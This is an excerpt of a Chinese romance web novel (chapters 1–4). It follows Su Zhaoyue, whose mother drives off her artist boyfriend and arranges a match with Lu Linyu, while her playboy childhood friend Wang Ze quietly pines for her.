《不忍她蒙尘[青梅竹马]》
1. 漫漶
《不忍她蒙尘》
文/沈殿
2025/8/18晋江首发
母亲过五十岁生日那天,昭玥第一次带了男友回家。
这事儿她没提前告诉任何人。
生日宴在家中办,苏家是独栋别墅,场地足够大。
去接男友董聿之前,院子里的宴席已经摆的差不多了,昭玥经过院门口的巨幅写真照时差点没认出上面的人。
张女士这次的拍照风格有些夸张,现实是已经年过半百,照片却P得像是小姑娘。
她只希望等会见到董聿,母亲也能如照片上这样“笑靥如花”。
为了腾位置,昭玥的车停在院外马路边,是辆贴了亚灰色车衣的帕拉梅拉。
原本走的是清冷酷拽风,偏偏主驾门被某位畜生贴上了熊大熊二,说是玩大冒险输了。
她试图揭下,这贴纸却异常牢固且留胶。
周元辞这货净做这些破事儿。
最近学校有个中外交流的活动,身为外语学院的年轻骨干昭玥忙了些,以至于她至今没来及重新搞车衣。
于是每每见到这两只熊心中就要骂周元辞一次。
昭玥一脚油门,把气全踩在脚底。
刚离开家不过三百米张女士就打来电话:“客人快到了,你去哪了?”
“接个人。”
“什么人要你亲自接?”
“您等会就知道了。”
“别给我整幺蛾子。”
她含糊着“知道”便要挂电话。
张女士叫住她:“玥玥,妈妈也有位朋友,你顺道接一趟呗。”
昭玥问也不问对方的地址就说:“不顺路,您让他打车,我报销车费。”
“什么也指不上你。”
电话骤然挂断。
落叶飘进车里。
北城的秋是她唯一喜欢的季节。
昭玥有时觉得自己不该生在北方,她不喜忍受干燥漫长的冬季。
她该是个南方人,行走在绵延的雨季里。
在南方读大学那几年是她最喜欢的日子,但大学的确是一场混淆许多东西的梦。
董聿住在一栋城郊的别墅里,昭玥亲自给租的。
虽然地址偏僻,但是傍水,绿茵湖泊,她觉得艺术家就该住这么个地儿。
“艺术家更应该自己付房租。”某次吃饭,周元辞满脸嘲讽说这话。
他们都看不上董聿,但昭玥不在乎。
“你图他什么?爱情?我搞不懂他有什么值得你爱的。”
每每提到董聿,周元辞似乎都能滔滔不绝批判点什么,像个恨铁不成钢的闺蜜。
反倒是另一个人,总是沉默坐在一边,从未对她的感情生活提过任何意见。
不知是尊重,还是不在意。
昭玥不屑反驳周元辞,什么爱不爱的,她和董聿在一起图的才不是爱。
这段恋爱,她与董聿各自有各自的图谋打算,或许含几分真诚,独独和真情无关,他们彼此对此心知肚明。
昭玥需要借助董聿来完成一直以来留存在心中的一点反叛——母亲要她和什么样的人交往,她就偏要朝相反的方向。
而站在董聿的角度——没有比昭玥更大方的女友了,大部分时候,她的大方进退有度,不会伤及他脆弱的自尊。
就算他是个穷画家,那也是个讲脸面的穷画家。
昭玥觉得董聿今日身上的香水味很冲头脑,据说是新款男香,橙调的,她却闻出一股消毒水的味儿,于是她拿起车上的绿邂逅朝他身上狂喷。
等到她觉得终于遮盖过去的时候才停手,而那时候,这瓶香水已然像是浇注在董聿身上一般。
“没关系,香过头总比臭好。”昭玥安慰他。
但还是默默将车窗打开通风,她这人对气味敏感,五感中嗅觉排在第一位,一个人可以长相辣眼睛,但不能虐待她的鼻子。
董聿表情中的冷色一闪而过。
到家时宾客纷至,院子里十分热闹,大部分是张女士的朋友,也有几位父亲的合作伙伴携家人一起出席。
张女士老远就看见昭玥挽着董聿,眉头不知皱了多少遍。
她沉着脸听女儿介绍身边的人,然而并未等昭玥将“男朋友”三个字说出口便急急打断她:“带小董进去吧,小文他们都在里面玩儿呢。”
场面无端尴尬。
董聿捧着亲手作的画,从头至尾无人询问这四四方方的大件是什么,他的心意犹如他画作目前的市场价,有股子低廉味。
碍于客人,昭玥不好发作,只是挽着董聿的手更紧几分。
她示意董聿将手上的东西和其他人的礼物放到一起。
苏昭玥的弟弟苏伊文和一帮年轻人在客厅里玩牌,看上去这把赢面很大,苏伊文是个脸上藏不住事儿的人,旁人见他眉飞色舞,早早就丢了牌。
昭玥凑到董聿耳边:“这告诉我们,喜形于色的赌徒没法大赢。”
“你就这么说自己弟弟?”
“没出息是客观事实,作为他亲姐当然要直言不讳。”
董聿捏了捏昭玥的手,她指甲上的一粒小钻像是细沙里的石子,硌人。
他问她:“那你觉得我是个没出息的人吗?”
苏昭玥觉得自己这个女友当得贴心又温暖,她脑袋靠了靠董聿的肩,安慰他:“没关系,金子总有一天会发光。”
全然没有意识到,她这算是默认了他“目前没出息”的事实。
昭玥觉得董聿不会在意这种小事儿。
她牵着董聿走进人群。
见苏昭玥过来,有人吹着口哨跟她打招呼,至于她身边站着的是谁,没人过问。
这些人个个是人精,身边站着的人该重视还是忽视,轻而易举分辨。
周元辞跟在他们后面进来,那时昭玥正伸手拿走董聿西装肩肘处沾上的一根绒毛,此人十分没眼力见的插在两人中间坐下。
昭玥气得朝周元辞后脖就是一巴掌:“抽什么风?”
“几个月没见就对我这态度?”
她白他一眼,“怎么就你一人?”
“阿泽最近也不知道忙什么,攒的局一次都不来,再这么下去我都要怀疑是有哪位妖精把他收了。”周元辞说得有鼻子有眼。
苏昭玥站起来,从服务生的托盘里拿来两块糕点,今日的糕点是张女士特地请师傅来家里现做的,各种稀奇古怪的形状,摆盘也精巧。
她重新在董聿身边坐下,将其中一块放进自己嘴里,另一块喂给他。
谁也没注意到她眼中片刻的失神。
周元辞上了牌桌,此人在这种声色项目上向来游刃有余。
董
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聿去上洗手间的功夫,张女士见缝插针,将苏昭玥喊出去。
她才不信这是凑巧,想来张女士一直让人盯着自己。
昭玥没精打采地起身。
后院的银杏正是叶落惊秋的时候,树旁另有一个入口,有好些宾客将车开进来停在这,落叶铺陈,将这些车的挡风玻璃遮得严严实实。
张女士站在树下等她,怒意弥涨。
“苏昭玥,你胆子肥了,不跟家里商量就把人带回来?”
藏蓝色长裙的裙摆扫过地上的叶子,花圃里的花没一朵是活的。
她就知道,张女士有一堆话在等着她。
“我二十六了,谈个恋爱怎么了?”
“谁不让你谈恋爱了?你要是想,谈十个老娘也不会过问,但是带到家里来是什么意思你心里不清楚吗?何况是今天这种场合,多少人在看笑话你知不知道?”
苏昭玥揣着明白装糊涂,“带到家里来怎么了?如果说我非要和董聿结婚呢?”
“别痴心妄想。”
她沉默地和母亲对视,而后踢了一脚地上的叶子。
她试探地开口:“我这点自由也没有吗?妈妈。”
“这点自由?”张女士嗤笑一声,“苏昭玥,你好大的口气。我就搞不懂了,你和汪家、周家那俩小孩儿一起长大,汪家那个家世相貌不必说,周家那个虽说气质差了些但出身也是顶好的,你一个都看不上就算了,但干嘛非要到圈层之外找这种便宜货色?你是眼瞎心盲,还是非要跟我玩叛逆,故意跟我作对?”
张女士将苏昭玥骂个狗血淋头。
她不想跟母亲争执下去,转头要走,想着董聿找不到她该急了。
张女士却说:“你不必心心念念回去找人了,我已经让人打发他离开。”
苏昭玥不敢相信自己听到了什么。
她从小被教育待人以礼,任何境况之下都不要轻易扯碎表面那层粉饰太平的布,所谓“凡事留一线,日后好相见”。
显然,张女士要的就是彻彻底底斩断他们一切“日后”的可能。
昭玥张张嘴,不知该说什么。
“你有任何脾气要耍都且等到今日客人散场之后,不用我说,你也该知道我们家最近丢不起人,玥玥,别再做招摇的事。”
丢下这句话,张女士便走了。
昭玥彻底没什么好反驳的了。
她知道苏家最近处在风口浪尖。
她一直觉得自己拧巴。
既明白自己算是命好——样貌头脑算作上乘,出生在一个权与钱都过得去的家庭,做了这么多年所谓的千金小姐,物欲基本都能得到满足。
她没资格抱怨。
家族给了她什么,她则应该以恰当的方式偿还馈赠。
可是她清醒温顺的人生,就是有几道叛逆的轨迹,怎么都擦不掉。
风拂过,银杏叶扫过苏昭玥的眼睫毛,叫她颤了颤眸子。
抬眼间,不远处那辆车的挡风玻璃也被风掀开一角,叶子窸窸窣窣落到别处时,车里的人正倚在椅背上看她。
男子眼中灰濛,似是逐年漫漶的字迹,叫她常常窥而不清。
昭玥一点也不想在此刻见到汪泽——在这么一个她的弱点与狼狈铺陈的时刻。
偏偏从小到大,每次无措落寞、委屈别扭,他都第一个觉察。
2. 缺月
汪泽从车上下来,渐渐走近,他身上的味道有些像夏日沾着露珠的荷,是一种寡淡薄凉的香。
她假借喘息,将这股香深深吸进去。
像是藏匿在躯体深处的某种毒素,明明已经戒掉,可一旦接近,一向强硬的心志就会再次疲软。
汪泽的视线不经意落到她的鞋子上,长裙只及脚踝,恰恰好露出她脚下踩的浅色高跟,他记得她不喜穿高跟鞋。
汪泽比划了一下两人的身高差,眉头轻佻,故意说:“长高了?”
苏昭玥哭丧着的脸被逗笑,“你烦透了。”
“笑比哭好看。”
“谁哭了?”
他伸手拨开她衣衫上的银杏叶。
“总而言之,不过是个男人,不必放在心上。”
苏昭玥背过身,对着干枯的花圃发呆。
讽刺的是,比起母亲不接受董聿,她竟觉得汪泽此刻的不在意更让人不快。
昭玥学着他的表情,轻笑:“是啊,不过是个男人。”
-
见汪泽从后院进,张女士立刻舍下正与之聊得火热的朋友,快步朝他们走过来。
那一瞬,昭玥想到四个字——趋炎附势。
而自己从小受她熏陶。
昭玥早慧,这和张女士脱不了干系。
从上幼儿园开始,关于应该和什么人交朋友这件事苏昭玥就受张女士“悉心教导”,她首先学会的就是在狗都嫌的年纪,在那些乳臭未干的小孩儿中分辨出哪些是出身不凡的,哪些又是不堪造就的。
童真的眼睛承载着一场世俗的雨,于是一直以来,她真心相交的朋友都少极了。
昭玥又想起南城的日子。
张女士一面嗔怪汪泽到的太晚,一面喜笑颜开,仿佛他到了,汪家的情分便就到了。
“玥玥,好好招待小泽。”
她应了声,想起张女士对董聿的态度,只觉无话可说。
放置宾客礼物的角落,裱好的画不知被谁用香烟灰烫出一个小孔,远远望过去似是画中人脸上的一颗痣。
汪泽循着她的视线望过去,与她的视线一同在那幅画上停留。
不知在想什么。
“进去吧。”她说。
苏昭玥发现董聿的外套忘拿了,此刻担在沙发扶手上,虽说秋高气爽,但不知北城的风吹在身上时他会不会冷。
总之心必然是冷的。
她亲自将之叠好,吩咐家中阿姨把衣服洗好装起来。
周元辞站在牌桌旁,转身,瞧见昭玥的一系列动作后再次开腔:“大小姐,您怎么一副痛失所爱的样儿?这是受了多重的情伤呐?”
昭玥走过来后,他的胳膊肘搭在昭玥肩上,神情玩味。
闻言,汪泽抬腿就给周元辞一脚,“别火上浇油。”
“得,你俩永远是一伙的。”
苏昭玥今日看周元辞实在不爽,于是一个探身将他牌桌上赢来的筹码一股脑全推到了桌子中间去,扬言:“赌把大的。”
周元辞脸瞬间黑掉:“大姐,我这把就一个对四。”
苏昭玥才不理。
汪泽拍拍他肩膀,周元辞以为是安慰,结果这人说的是——
“活该。”
周元辞“靠”了一声。
夜晚苏家院子灯火通明,苏伊文为了讨张女士欢心,特地请了位女歌唱家来捧场,是位昭玥叫不出名的,但曲风都是张女士这个年纪喜欢的,第一首是蔡琴的《月亮代表我的心》。
昭玥荒谬地想,今晚可是一枚缺月,苏伊文的心够真吗?
一旁为之伴奏的人手指灵活,像是滚在钢琴键上的弹珠,叫昭玥联想到小时候自己上钢琴课的经历,她实在是个没什么音乐天赋的人。
老师是赫赫有名的钢琴家,昂贵的课程,她只学到个皮毛。
相比之下,汪泽就比她有天赋多了。
她想起少年时代的他,忽的发现他已经有很多年没在自己面前弹过琴。
昭玥就这么盯着琴键上游走的手。
余光里,周元辞正兴致勃勃与人聊天,汪泽则是站在一边偶尔搭腔,一如既往的漫不经心。
后来有个女人端一杯特调酒上前搭讪,笑时透着示好,目的不言而喻。
汪泽无声接过,酒杯碰了一下女人手里的那杯,而后一饮而尽。
徒留唇角一抹弧度。
昭玥不喜欢他这么笑,本该深邃的眸写满轻浮和欲望。
虽然实际上这一切根本都入不了他眼底,他只是爱玩一场又一场荒诞的游戏。
他什么时候才能厌倦这个游戏呢?她郁闷地想。
乐曲接连,听得人思绪发空。
张女士倒是被哄得喜笑颜开。
从小到大,苏伊文一直是家中最会讨长辈欢心的那个,加之他是男孩,所以似乎理所应当的更受偏爱,所有人也都默认他将是苏家产业的继承者。
而昭玥作为长姐,应是助他更上一层楼的台阶。
台阶生来就是要被踩着的。
正因如此,张女士才会把她的婚姻看得如此重。
苏伊文贴心的为张女士和两位表演者合照,结束后朝昭玥招了招手。
她了解自己的弟弟,见他此刻一脸诡异的笑昭玥便知道没好事。
果然,她走过去后苏伊文立刻向她介绍那位弹了一晚上钢琴伴奏的男子:“姐,这是陆伯伯家的儿子,陆淋屿。”
陆淋屿主动与昭玥打招呼,她不能拂人面子,便伸手与之轻轻相握。
“玥玥,你们年龄相仿,不如留个微信,对了,你们俩小时候还是同一所幼儿园的呢!”
话及此,昭玥当然明白他们是什么意思。
只是由衷感叹张女士翻页的速度——她此刻大概已经默认,一小时前被扫地出门的画家董聿,不过是她女儿的某段曾经。
昭玥不搭加联系方式的茬,只是面带微笑对着陆淋屿,给足体面与礼貌:“陆先生,我新淘了几张八九十年代港台的黑胶,有兴趣听一听吗?”
陆淋屿从善如流,两人一起进了书房。
周元辞:“某人今天真是惨,先是情路坎坷,再被当成田里瓜强扭,阿泽,你说咱要不要救救她?”
望着苏昭玥与陆淋屿一起消失的背影,汪泽眼中那点不羁的温度慢慢冷掉。
他放下那杯特调,失掉玩游戏的兴致,指尖烟屑碎落,他慢慢走向那个角落,将之径直插入那幅油画里,一下、又一下。
直到那幅画变作“蜂窝”。
“你疯了?”周元辞看神经病一般,“昭玥知道得跟你拼命。”
汪泽没什么所谓,冷眼看着这张被弄坏的画,“不让她看见不就行了?”
周元辞愣了一下:“有道理。”
于是加入“捅蜂窝”的行列,他早就看那个董聿不爽,还敢上门见家长,他配吗?
“我看昭玥她妈对这个弹钢琴的有点意思。”
汪泽手中的烟燃尽。
“那人不是她喜欢的类型。”
周元辞斜着眼瞅他:“那你说她喜欢什么类型?”
“起码长相得周正,她是个颜控。”
周元辞无语地笑:“她认识的人中,还有比您长相更周正的吗?”
汪泽又给他一脚:“少开这种玩笑。”
“但是话说回来”,周元辞拍拍裤
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子上的灰,“即使她不喜欢又怎样呢?你又不是不知道她妈妈是个什么性子,她的婚姻可能由她自己做主吗?”
在他们的世界,喜欢不是什么太重要的事儿。
那根烟燃至尽头,汪泽将之扔进烟灰缸,没说话。
他无端想起小时候的过家家游戏。
游戏里他拯救的那位公主,似乎现实中也总是诸多劫难。
-
昭玥从满满当当的收纳盒中抽出一张唱片,其实她最近并没有去港台旅游,这张是很久以前去的时候偶然淘得的,她胡诌这么个理由,只是为图个清静。
她实在不想做动物园里的猴子供人戏耍。
音乐声响起,人不说话便不显得突兀,平缓的乐声是一条让人宁静的河流,他们安静的隔桌而坐。
书房的玻璃窗映着院中灯影,昭玥异想天开——如果此时汪泽能来救一救她就好了。
假若他不是万花丛中过的无情人。
一曲毕,昭玥给陆淋屿倒一杯热茶,“陆先生,有件事,我想我需要让你知道。”
昭玥开门见山:“其实,我目前有男友。”
陆淋屿双手接过茶杯,动作不可察的顿一下,“是跟你一起从后院进来的那位吗?”
换昭玥愣神片刻:“不是。”
“那就没事了。”
“什么意思?”
陆淋屿将茶杯放下,“苏小姐,我想你母亲的意思是为你找一个家世方面与你旗鼓相当的丈夫,说句比较现实的话,以目前苏家的处境,应该没有比我更适合的人选。”
“难道你对于结婚的对象一点自己的要求都没有吗?”
“我对你印象还不错。”
苏昭玥忍不住发笑,“只是不错,就可以谈婚论嫁?”
“苏小姐,你把婚姻想得太复杂。”
昭玥将窗打开,那束灯影漏进来,她静静感受了会儿风。
昭玥不与陆淋屿争论,争论是件耗费精力的事,成年之后母亲和她的争论已经够多,她没必要非和一个陌生人扯出一个结果。
她只说:“陆先生,曲调不和谐的音乐是不会悦耳的,人也一样。”
言尽于此。
昭玥将书房门打开,该去用餐了。
晚餐时昭玥没有和张女士坐在一起,她今日不想扮演乖巧女儿。
周元辞瞅了眼昭玥的脸色,“大小姐心情不佳啊,没和对家谈拢?”
昭玥眼眸一转,忽然转过脸来望着周元辞:“周元辞,我们是不是朋友?”
“有事儿说事儿。”
昭玥亲自帮他把酒满上:“帮我解决一下这朵烂桃花。”
“怎么帮?”
“你就去和张女士说,我俩日久生情,你非我不娶。”
周元辞差点一口酒喷出来,“你疯了?”
“怎么,娶我还委屈你了?”
周元辞将凳子朝反方向移了移,“苏昭玥,你不会对我真有其他想法吧?”
瞧他这样昭玥就知道指望不上了。
没义气的家伙。
说了许多话,昭玥口干舌燥,她顺手端起面前的杯子就要喝,唇与玻璃杯相触之前,一只手将之夺过。
“这是酒。”汪泽提醒她。
昭玥酒精过敏很严重。
他重新把一杯果汁放到她面前,清绿色的冰葡萄汁,叫昭玥联想到童年的夏季。
她太渴,一口气喝下半杯。
下一秒,昭玥怀疑自己是真的喝到了酒,染上了醉意,否则喧哗人声中,她不会听见汪泽问她——
“这一次,要不要我帮你?”
不知怎的,她陷入一阵耳鸣。
3. 鱼池
生日宴之后,董聿的电话就再没有打通过。
昭玥去城郊别墅找他,却发现这栋房子已经是真正意义上的“人去楼空”。
昭玥差点就要报警,直到瞥见客厅茶几上的纸条。
是董聿的字迹——
「昭玥,我已离开北城,感谢你这两年的付出。
诚然,我们心知彼此之间并非爱情,不必继续磋磨,往后珍重。」
短短几行字,昭玥却知道自己这点叛逆的试探已经有了结果,她不必去追究董聿离开的背后原因,她甚至往后都没必要再继续耍这种反叛的心眼。
反正只要不遂张女士的意愿始终就只会有这一种结果。
她忽感无力,不知是不是那日突发耳鸣之后的后遗症。
说实话,对于那晚汪泽的问题,昭玥当下是心动的,她几乎有种他能救她于水火的错觉。
他说“这一次”,昭玥却想起小时候那一次。
七岁那年,她是每一次过家家游戏里固定的“公主”角色,那天公主的剧本被安排嫁给恶霸,昭玥不愿意,为了帮她,汪泽跟恶霸打了一架。
男孩子细嫩的脸被划破,伤口像瓷瓶上不慎的划痕,
昭玥大概这辈子都会记住这个幼稚的游戏。
在他们都纯粹的孩童时期,他就已经在不遗余力的保护她。
那晚若不是下一秒与他搭讪女子的手再次抚上他的肩,而他又一次露出漫不经心的笑,昭玥必然任由自己像小时候那样没出息,就此裹进这个漩涡。
张女士发短信来提醒昭玥,不要忘记今晚的饭局。
她站在这栋别墅一楼的落地窗前,视线落在院中小池中养的金鱼上,鱼儿一圈一圈地游,她一圈一圈地看。
昭玥想还它们自由,可鱼离开习惯的水域还能活下来吗?她不知道。
昭玥不想折腾了。
离开这里之前,昭玥十分任性的把院中大门的电动钥匙扔进了水池。
她没告诉董聿,她把这儿买下来了,苏大小姐看中的房子怎么会一直租呢?
买下这里的时候昭玥不切实际地想,万一张女士亲怜惜一下自己向往自由的女儿,没准会给她选择婚姻的权利。
她幻想过和董聿结婚,即便他们之间没有很深刻的爱,但没准静水流深也是一种幸福。
而这里,可以做他们的婚房。
幻想与钥匙一同沉入池底。
昭玥驱车离开,后来很多年都没再来过这栋别墅。
瞻星里的包间,昭玥与陆淋屿的父母今日都到场,在场男士西装领带,女士妆容精致。
这是个什么饭局,两家人心知肚明。
双方家长的意思是让两人先相处,没什么意外的话半年后订婚,然后结婚。
昭玥问过张女士:“我不爱他算不算意外?”
张女士轻抚女儿的发,苦口婆心:“玥玥,真的没有比小陆更适合你的人了。”
尽管昭玥明确拒绝过陆淋屿,但显而易见,在陆淋屿眼中她的意见不重要。
这张桌子上,没有一个人在乎她的看法,他们这些人眼中,只有切实的利益是永恒的。
昭玥指尖无意识揉搓连衣裙裙摆。
盘中餐味同嚼蜡。
“玥玥多吃点,瞧你,这么瘦。”陆母满脸关切。
张女士脸上堆笑,接过话去:“这孩子从小吃饭就跟猫食似的,不用管她。”
“身体还是要养一养的,不然以后生养小孩的时候自个儿费劲。”
“改明儿就带她去中医馆调理,其实早有这个打算,她非不肯。”
“年轻人嘛,都这样。对了,听淋屿说,玥玥是大学老师?”
“是,在外语学院。”
“挺好的,我们淋屿工作忙,夫妻俩总得有一个清闲点方便照顾家里。”
……
这些话昭玥实在无法继续听下去,她给自己戴的假面随时都要掉落。
她借口上洗手间出去透气。
黑裙沾上几点洗手池的水,昭玥用纸巾擦了擦,但没什么用,她想等会儿它自己会干,没再管。
今日她又穿了高跟鞋,细窄的鞋跟戳在黑金花纹的大理石上,脚步形成一种特有的节奏。
昭玥慢吞吞的在走廊上走,最后在一扇窗前停下。
窗外车流不息,这个会所的光线甚至没有外面的车灯亮,到处都是黑乎乎、灰蒙蒙的,这种格调让人本就不太妙的心情更加压抑。
低不可闻的音响里放的是一首巴赫,她小时候练琴最讨厌这个,但是喜欢听某人弹。
昭玥书房的柜子里收藏最多的就是巴赫的黑胶。
“昭玥?你怎么在这?”
走廊另一端,周元辞和一群狐朋狗友正往包厢里走,在这里遇见并不奇怪,这个点,他的夜生活才刚开始。
“一起玩会儿?”周元辞过来拉她。
昭玥没拒绝,这倒是难得,因为不能饮酒,她极少参与他们的局。
与走廊上的巴赫曲调不符的是,包厢里有人抱着话筒嘶吼一首摇滚乐,难听说不上,但聒噪有余。
汪泽坐在角落,怀中搂的是个生面孔,他调情调得太专注,昭玥进来他都没发现。
昭玥神情漠然,在离他最远的位置坐下。
周元辞低头望了一眼昭玥脚上能戳死人的后跟:“你今天怎么打扮成这样?”
“哪样?”
“就很……女人。”
“因为今天特殊呗。”
“怎么特殊了?”
摇滚乐的进度条终于行至末尾。
包厢得以片刻安静,昭玥端起一杯果汁面朝大家——
“我以果汁代酒,庆祝我……”她语调轻松,仿佛真的开心,“即将订婚。”
周元辞傻眼,不敢相信自己听见了什么,明明前不久她还在跟一个穷画家缠绵,那架势像是要相守一生似的,上午刚听说她妈妈棒打了鸳鸯,晚上她就要和别人订婚了?
这不扯嘛。
旁人不知其中始末,倒真的举起杯来祝贺她。
昭玥笑容灿烂,认真的接受祝福。
歌单自动播放下一首歌曲,依旧是欢快的曲调,昭玥正在依次与人碰杯,杯里饮料在震动中洒出,她的手背有些黏腻。
角落那人的笑完全冷滞,他松开怀里的人。
起身时一旁女人下意识去拉,结果只触及一片冰凉的衣角,这个人是从来不懂回头的。
他人生中的过客不仅多,而且匆匆。
昭玥的手腕被一道强劲的力量掣肘,她被拽出包厢的那一刻,手中杯子成了一地玻璃渣。
她沉默的由他拽着。
直到远离包厢里的喧哗才停下。
“说吧,怎么回事儿?”
“什么怎么回事儿,如你所见,我家正在和陆家一起用餐,而这顿饭的主题是:我和陆淋屿的未来。”
他嗤笑一声,“你和他有狗屁未来。”
“真希望我的父母也是这么想。”
“所以你妥协了?”
她苦笑:“不然呢?我抗争过了
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,结果显而易见,胳膊拗不过大腿。”
“那也不该是陆淋屿。”
昭玥望着汪泽的眼睛,“那你说该是谁?”
他沉默地回望她,这世间过于珍贵的东西从来是难以诉诸于口的。
走廊的音响不知为何一遍又一遍的放巴赫,昭玥听得厌倦。
她没有等到他的正面回答。
“无论是谁,我希望你开心。”
新鞋子磨脚,昭玥顺势坐在廊边长凳上。
半晌,她冒出一句:“汪泽,那你开心吗?”
“什么?”
“每天怀里搂着不同的人,嘴里说的话有多热烈,干的事儿就有多无情,我很好奇,这个游戏有那么好玩儿吗?”
他在她身边坐下,拿出手机不知给谁发了个消息。
“听上去,你似乎对我有点意见。”
“如果我说有呢?瞧,跟我说话还不忘跟别人发信息调情。”
手机屏幕熄灭,他懒散地笑笑:“从小到大,苏大小姐对我就有许许多多的意见。”
“所以你破罐子破摔了?”
“可以这么理解。”
昭玥无声叹了口气:“看来汪少爷无药可救,”
她起身就要走。
被他一把拽回去。
昭玥失去平衡,“你干什么?”
“陪我坐会儿。”
“你的女伴不是在里头,干什么要我陪?”
十分钟后,昭玥知道了原因。
汪泽的私人助理拎着一包东西从电梯里出来,高跟鞋敲击大理石地面的声音回荡在整个楼层,西装半裙下露出一截纤细的小腿。
这个人,连自己身边的助理都是这么美艳的类型。
汪泽接过助理手里的袋子,助理随后知趣的离开。
他在昭玥面前蹲下,拿出袋子里的东西,放在她脚边。
那是一双与她黑裙相配的小皮鞋,平底的。
“既然不擅长穿高跟鞋,就别为难自己。”
“所以你刚刚是在给你的助理发信息?”
他仰头望她,记忆里,他极少仰视什么人。
汪泽眼中是故作受伤的狡猾:“是啊大小姐,冤枉了人,是不是该受到惩罚?”
“我会冤枉你还不是因为你平日作风不正。”
“疑罪从无懂不懂?”
她踢开脚上高跟,“不懂。”
面对她的刁蛮做派,汪泽反倒付之一笑,他将她踢倒的鞋子扶正,亲手为她套上新鞋,鞋子完全是她的尺码。
“不懂就不懂吧,谁让我对你这么宽容。”
昭玥突然理解他身边为何总有这么多不问结局的蝴蝶,除却外貌与财富,这个人太擅攻心。
“你凭什么对我这么宽容?”
汪泽被她气笑:“大小姐,您最近是特殊时期?情绪这么不稳定。”
她伸腿踢他,却被他一把握住脚踝,“从小就这样,说不过就要动武。”
昭玥试图把腿抽回,他却握得有些紧。
“放开,我该回去了。”
闻言,汪泽松开她。
“昭玥,”他难得一脸严肃,“如果不想进去,我带你逃跑好不好?”
就像小时候她不喜欢钢琴课,他也总带着她逃课一样。
可惜白驹过隙,他们长大了。
昭玥背对着他,轻笑了一声:“能逃到哪里?”
他的声音落在耳边,像武侠小说里拯救失足少女的侠客——
“天涯海角,去不去?”
4. 失窃
高中有一年元旦文艺汇演,在苏昭玥的屡次要求下,汪泽作为男主角和她一起登台演了出话剧。
汪泽的角色是《笑傲江湖》里的令狐冲。
自由不羁的浪子咬着一根狗尾草,问她:“天涯海角,去不去?”
青涩年纪里的这句台词,当时迷倒过许许多多女生。
可惜昭玥演的不是任盈盈,那场演出,她反串了与令狐冲化敌为友的田伯光。
“朋友”二字从来是弥漫在他们之间的一场迷雾,多年后的今日,她仍做不成任盈盈。
昭玥回过头,“去天涯海角的话,你的那些莺莺燕燕怎么办?”
“她们哪有你重要。”
他唇角浅淡的上扬,非要比较的话,他此刻的表情少了几分对其他女孩子的放浪,但不知够不够得上真诚。
昭玥从不敢奢求汪泽的真诚。
“是吗?你能为我放弃她们?”
他眼中却又平添几分不正经:“谁说天涯海角就没有莺莺燕燕了?”
昭玥觉得自己可笑。
“你还是自己去吧。”
陆淋屿见苏昭玥许久未归,出来找她,恰好撞见两人在走廊上说话。
“昭玥。”陆淋屿叫她,“长辈们在等你。”
说话时他余光扫过昭玥脚下新换的鞋,而后自然地接过她手上拎着的鞋盒,语气温柔:“进去吧。”
她自知没理由继续躲,便打算跟陆淋屿一同进去。走的时候,昭玥一次都没有回头看身后的人。
什么天涯海角,武侠小说里的痴人说梦而已,或许能糊弄无知少女,但她已不是十几岁。
汪泽烦躁地点燃一支烟。
目中成双对的背影叫他心中忽的空一下,那感觉像是被束之高阁多年的珍宝,一朝失窃。
周元辞出来的时候汪泽正坐那儿吞云吐雾,窗隙的风划过额间碎发,最近难得见他,这会儿他的脸却在烟雾中看不分明,莫名叫人瞧出几分颓靡。
“她走了?”
“嗯。”
“我说什么来着,她根本没得选。”
汪泽起身将身后的窗“呼啦”一下打开,晚风一时肆虐,将心中烦躁稍微吹散一些。
今晚这风力,大抵能倾覆所有平静的船。
汪泽的发随风向后,露出高挺鼻骨,顶着这么一张英俊的脸,他问周元辞:“人为什么非要结婚?”
周元辞嗤笑声:“我看你想问的不是这个,而是‘她’为什么非要结婚。”
汪泽没有反驳。
周元辞:“人总要长大吧?”
“她可以不用。”
周元辞有点无语,“要不是和你们认识的时间足够久,阿泽,我有时真的会误会你爱她。”
不是动心,不是喜欢,而是爱。
一阵路灯晃过,叫他瞳孔模糊。
汪泽觉得自己醉得不清,因为那一刻,他下意识想的问题是——他凭什么不能爱她?
随即他又自嘲地笑一下。
差点忘了,他这么个风流成性的人,怎么配爱她。
-
一周后,学院的交流活动告一段落,昭玥第一件事是预约时间把车送过去换改色膜,这些事她喜欢亲力亲为。
这次昭玥选了个灰紫色车衣,并且不忘提前警告周元辞,从此以后离她的车远点。
顺便,强迫这个混蛋把费用报销。
“苏大小姐,您可真是锱铢必较。”
“周大少爷,我在教你敢作敢当。”
最终周元辞认栽,昭玥则是火速收钱。她坚信只有让这货流一次血,他才会真的离她的车远点。
车衣需要三天才能贴好,昭玥从车行出来,外面开始飘雨。
天气预报说冷空气降临,最近有一场大的降温。
她忘带伞了。
打车软件一直转圈,昭玥懒得叫家里的司机来接,她最近刚从苏宅搬出来自己住,张女士本来就觉得她照顾不好自己,不赞同昭玥搬走。
要是家里司机再将这些琐事事无巨细告知张女士,可想而知昭玥要听多少唠叨。
她干脆去附近的咖啡厅避雨。
木框玻璃门上挂的铃铛响起时,店里的猫咪瞅准空隙就要往门外钻,好在它的主人有先见之明,在猫咪的脖子上栓了根牵引绳。
猫咪没能越狱成功。
昭玥蹲下揉了揉这只橘猫的脑袋,人说橘猫大多是胖子,这只却显得有些消瘦。
老板告诉她,这只猫原本也是重量级的,但自从一周前产了几只崽后就莫名消瘦了,它毛发的纹路令人想到一种叫做树芦荟的植物——
低矮的肉质灌木,在缺水的沙漠地区形成的干涸景观。
“大概做妈妈总是要脱一层皮的。”昭玥说。
“或许是。”
她点了一杯特调咖啡,老板取的名字是“富士山日落”,和今日的天气倒是一点都不搭。
昭玥没想到的是,这家咖啡厅里的音乐居然也是巴赫,她最近总能听到这些乐曲。
雨绵延许久未停,一场秋雨一场寒,看来冬天将近了。
昭玥在靠窗的位置落座。
咖啡厅老板送来一份试吃甜品,抹茶风味的慕斯蛋糕,她从小就偏爱这类不是很甜的甜品。
昭玥想起高中时代,城南那家精品蛋糕店门口总是排着长龙。
她的口味很大众化,无论是食物还是人,中意的那个,总是人人喜爱的那个。
安静的氛围被门上那串慌乱的铃铛声打破。
深秋季节,推门进来的女子却只穿了件单薄的连衣裙,她同样没有带伞,却没有昭玥幸运,此刻她的头发看上去像是她的眼睛一样湿漉漉。
咖啡厅老板急切地上前,用自己的外套裹住女子,看上去两人关系匪浅。
昭玥觉得女子这张脸很熟悉,但一时想不起来在哪见过。
雨水打湿地板,猫咪被吓得缩在角落。
她低头回复周元辞的信息。
周元辞问她:「这么大雨,你怎么回家?」
